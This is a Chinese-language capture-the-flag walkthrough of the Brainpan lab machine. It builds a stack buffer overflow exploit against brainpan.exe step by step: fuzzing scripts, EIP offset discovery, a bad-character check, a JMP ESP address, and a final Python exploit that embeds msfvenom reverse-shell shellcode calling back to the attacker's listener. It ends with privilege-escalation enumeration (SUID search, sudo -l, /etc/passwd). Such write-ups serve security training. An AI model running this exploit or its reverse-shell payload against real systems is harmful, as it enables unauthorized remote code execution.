题外话:人生其实很简单,想要的就去争取,得到了就珍惜,失去了就忘记。
192.168.67.130
PORT STATE SERVICE9999 /tcp open abyss 10000 /tcp open snet-sensor-mgmt
http://192.168.67.130:10000
nc 192.168.67.130 9999
根据nc连接结果来看,brainpan.exe就是9999端口上运行的程序。 但是我们不知道密码,于是要通过逆向来获取。
brainpan.exe file file brainpan.exe brainpan.exe : PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
windows 32位程序
strings strings brainpan.exe
查看程序的字符串,确认该程序就是目标主机9999端口运行的。
动态分析 本地windows机器做目标机,kali做攻击机。对程序进行动态调试。
windows主机,用调试器打开该程序
kali连接windows主机的9999端口
demo.py让程序报错 import socket host = "192.168.67.1" buffer = "A" *4000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print "[*]Sending evil buffer..." s.connect((host, 9999))data =s.recv(1024)print data s.send(buffer) s.close()print "[*]Payload Sent !"
d2.py 找到EIP /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4000
运行该命令,生成4000字节字符串。
修改demo.py的这一行
运行demo.py,得到报错的地址35724134
/usr/ share/metasploit-framework/ tools/exploit/ pattern_offset.rb -l 4000 -q 35724134 [*] Exact match at offset 524
d3.py 确认EIP 修改demo.py的这一行
运行demo.py,确保EIP地址被B字符串覆盖。
d4.py 检查坏字符 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/usr/bin/python import socket host = "192.168.67.1" badchars = ( "\x 01\x 02\x 03\x 04\x 05\x 06\x 07\x 08\x 09\x 0a\x 0b\x 0c\x 0d\x 0e\x 0f\x 10" "\x 11\x 12\x 13\x 14\x 15\x 16\x 17\x 18\x 19\x 1a\x 1b\x 1c\x 1d\x 1e\x 1f\x 20" "\x 21\x 22\x 23\x 24\x 25\x 26\x 27\x 28\x 29\x 2a\x 2b\x 2c\x 2d\x 2e\x 2f\x 30" "\x 31\x 32\x 33\x 34\x 35\x 36\x 37\x 38\x 39\x 3a\x 3b\x 3c\x 3d\x 3e\x 3f\x 40" "\x 41\x 42\x 43\x 44\x 45\x 46\x 47\x 48\x 49\x 4a\x 4b\x 4c\x 4d\x 4e\x 4f\x 50" "\x 51\x 52\x 53\x 54\x 55\x 56\x 57\x 58\x 59\x 5a\x 5b\x 5c\x 5d\x 5e\x 5f\x 60" "\x 61\x 62\x 63\x 64\x 65\x 66\x 67\x 68\x 69\x 6a\x 6b\x 6c\x 6d\x 6e\x 6f\x 70" "\x 71\x 72\x 73\x 74\x 75\x 76\x 77\x 78\x 79\x 7a\x 7b\x 7c\x 7d\x 7e\x 7f\x 80" "\x 81\x 82\x 83\x 84\x 85\x 86\x 87\x 88\x 89\x 8a\x 8b\x 8c\x 8d\x 8e\x 8f\x 90" "\x 91\x 92\x 93\x 94\x 95\x 96\x 97\x 98\x 99\x 9a\x 9b\x 9c\x 9d\x 9e\x 9f\x a0" "\x a1\x a2\x a3\x a4\x a5\x a6\x a7\x a8\x a9\x aa\x ab\x ac\x ad\x ae\x af\x b0" "\x b1\x b2\x b3\x b4\x b5\x b6\x b7\x b8\x b9\x ba\x bb\x bc\x bd\x be\x bf\x c0" "\x c1\x c2\x c3\x c4\x c5\x c6\x c7\x c8\x c9\x ca\x cb\x cc\x cd\x ce\x cf\x d0" "\x d1\x d2\x d3\x d4\x d5\x d6\x d7\x d8\x d9\x da\x db\x dc\x dd\x de\x df\x e0" "\x e1\x e2\x e3\x e4\x e5\x e6\x e7\x e8\x e9\x ea\x eb\x ec\x ed\x ee\x ef\x f0" "\x f1\x f2\x f3\x f4\x f5\x f6\x f7\x f8\x f9\x fa\x fb\x fc\x fd\x fe\x ff" ) buffer = "A"*524 + badchars s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host, 9999)) data=s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent !"
右上角寄存器面板,看到EDX寄存器的值为“AAAAAAAAAAAAAAAA…”,于是选中EDX,右键 follow in dump,左下角翻到A字符串的结尾。
查看发送的字符,从01开头,ff结尾,没有找到坏字符。一般来说\x00是坏字符,忘记加到字符里检查了,下次注意。
生成shellcode nmap -O 192.168.67.130
这里有一点迷茫,因为IP为192.168.67.130的目标主机,看起来是个linux主机,但是运行的程序brainpan.exe却是一个windows 32的应用程序。
所以到底该生成linux的shellcode,还是windows的shellcode?
不管了,先生成windows的shellcode,在本地192.168.67.1的windows主机尝试是否能反弹shell吧。
msfvenom -p windows/shell_reverse_tcp LHOST =192.168.67.128 LPORT =443 -b "\x00" -e x86/shikata_ga_nai -f c 生成了shellcode,注意去除坏字符\x00
找到JMP ESP JMP ESP 是跳转到栈顶寄存器的汇编指令。 因为栈顶的内存地址是动态的,而程序的JMP ESP指令是相对固定的。 可以利用该指令来跳转到栈顶的位置。这可以方便我们定位内存地址,利于exp的编写。
/usr/ share/metasploit-framework/ tools/exploit/ nasm_shell.rb JMP ESP 将汇编指令转换为十六进制的\xff\xe4
immunity debugger
!mona modules !mona find -s "\xff\xe4" -m brainpan. exe 找到jmp esp 指令的具体地址0x311712f3
d5.py 将上述得到的信息结合起来,EIP跳转地址——栈顶0x311712f3
,栈长度524,没有坏字符的shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/usr/bin/python import socket from struct import pack host = "192.168.67.1" #有bof漏洞的目标主机IP shellcode ="\x ba\x 83\x 2c\x 49\x dd\x db\x d8\x d9\x 74\x 24\x f4\x 5e\x 33\x c9\x b1" shellcode +="\x 52\x 83\x c6\x 04\x 31\x 56\x 0e\x 03\x d5\x 22\x ab\x 28\x 25\x d2\x a9" shellcode +="\x d3\x d5\x 23\x ce\x 5a\x 30\x 12\x ce\x 39\x 31\x 05\x fe\x 4a\x 17\x aa" shellcode +="\x 75\x 1e\x 83\x 39\x fb\x b7\x a4\x 8a\x b6\x e1\x 8b\x 0b\x ea\x d2\x 8a" shellcode +="\x 8f\x f1\x 06\x 6c\x b1\x 39\x 5b\x 6d\x f6\x 24\x 96\x 3f\x af\x 23\x 05" shellcode +="\x af\x c4\x 7e\x 96\x 44\x 96\x 6f\x 9e\x b9\x 6f\x 91\x 8f\x 6c\x fb\x c8" shellcode +="\x 0f\x 8f\x 28\x 61\x 06\x 97\x 2d\x 4c\x d0\x 2c\x 85\x 3a\x e3\x e4\x d7" shellcode +="\x c3\x 48\x c9\x d7\x 31\x 90\x 0e\x df\x a9\x e7\x 66\x 23\x 57\x f0\x bd" shellcode +="\x 59\x 83\x 75\x 25\x f9\x 40\x 2d\x 81\x fb\x 85\x a8\x 42\x f7\x 62\x be" shellcode +="\x 0c\x 14\x 74\x 13\x 27\x 20\x fd\x 92\x e7\x a0\x 45\x b1\x 23\x e8\x 1e" shellcode +="\x d8\x 72\x 54\x f0\x e5\x 64\x 37\x ad\x 43\x ef\x da\x ba\x f9\x b2\x b2" shellcode +="\x 0f\x 30\x 4c\x 43\x 18\x 43\x 3f\x 71\x 87\x ff\x d7\x 39\x 40\x 26\x 20" shellcode +="\x 3d\x 7b\x 9e\x be\x c0\x 84\x df\x 97\x 06\x d0\x 8f\x 8f\x af\x 59\x 44" shellcode +="\x 4f\x 4f\x 8c\x cb\x 1f\x ff\x 7f\x ac\x cf\x bf\x 2f\x 44\x 05\x 30\x 0f" shellcode +="\x 74\x 26\x 9a\x 38\x 1f\x dd\x 4d\x 87\x 48\x 9e\x 0d\x 6f\x 8b\x 20\x 0f" shellcode +="\x cb\x 02\x c6\x 65\x 3b\x 43\x 51\x 12\x a2\x ce\x 29\x 83\x 2b\x c5\x 54" shellcode +="\x 83\x a0\x ea\x a9\x 4a\x 41\x 86\x b9\x 3b\x a1\x dd\x e3\x ea\x be\x cb" shellcode +="\x 8b\x 71\x 2c\x 90\x 4b\x ff\x 4d\x 0f\x 1c\x a8\x a0\x 46\x c8\x 44\x 9a" shellcode +="\x f0\x ee\x 94\x 7a\x 3a\x aa\x 42\x bf\x c5\x 33\x 06\x fb\x e1\x 23\x de" shellcode +="\x 04\x ae\x 17\x 8e\x 52\x 78\x c1\x 68\x 0d\x ca\x bb\x 22\x e2\x 84\x 2b" shellcode +="\x b2\x c8\x 16\x 2d\x bb\x 04\x e1\x d1\x 0a\x f1\x b4\x ee\x a3\x 95\x 30" shellcode +="\x 97\x d9\x 05\x be\x 42\x 5a\x 35\x f5\x ce\x cb\x de\x 50\x 9b\x 49\x 83" shellcode +="\x 62\x 76\x 8d\x ba\x e0\x 72\x 6e\x 39\x f8\x f7\x 6b\x 05\x be\x e4\x 01" shellcode +="\x 16\x 2b\x 0a\x b5\x 17\x 7e" buffersize = 524 eip = pack('<L', 0x311712f3) buffer = "\x 41"*buffersize + eip + "\x 90" *16+shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*]Sending evil buffer..." print len(shellcode) s.connect((host, 9999)) data=s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent !"
执行后成功反弹shell。原理就不解释了,看以前的文章。
d6.py 在本地windows运行成功后,把shellcode改为linux的
msfvenom -l payload | grep linux
LHOST 是kali的IPLHOST 是kali的监听端口msfvenom -p linux/x86 /shell_reverse_tcp LHOST=192.168.67.128 LPORT=443 -b "\x00" -e x86 /shikata_ga_nai -f c
成功进行栈溢出。
wine cat /home/puck/*.sh
if [[ $? -eq 1 ]]; then pid=`ps aux | grep brainpan.exe | grep -v grep ` if [[ ! -z $pid ]]; then kill -9 $pid killall wineserver killall winedevice.exe fi /usr/ bin/wine / home/puck/ web/bin/ brainpan.exe & fi 可以看到使用wine,在linux平台执行了exe程序
suid提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 python -c 'import pty; pty.spawn("/bin/bash")' --- find / -perm -4000 2 >/dev/null 查看有suid权限的程序 --- sudo -l Matching Defaults entries for puck on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User puck may run the following commands on this host: (root) NOPASSWD: /home/anansi/bin/anansi_util file /home/anansi/bin/anansi_util 无权限查看 --- sh /home/anansi/bin/anansi_util sh: 0: Can't open /home/anansi/bin/anansi_util --- cd /home/anansi 无权限 --- cat /etc/passwd | grep home reynard:x:1000:1000:Reynard,,,:/home/reynard:/bin/bash anansi:x:1001:1001:Anansi,,,:/home/anansi:/bin/bash puck:x:1002:1002:Puck,,,:/home/puck:/bin/bash 找到三个普通用户 --- file /usr/local/bin/validate cd /usr/local/bin;./validate 结果 validating input...passed.
无论输入什么,都显示上述一行,经过测试它有溢出错误。 详情看下一篇文章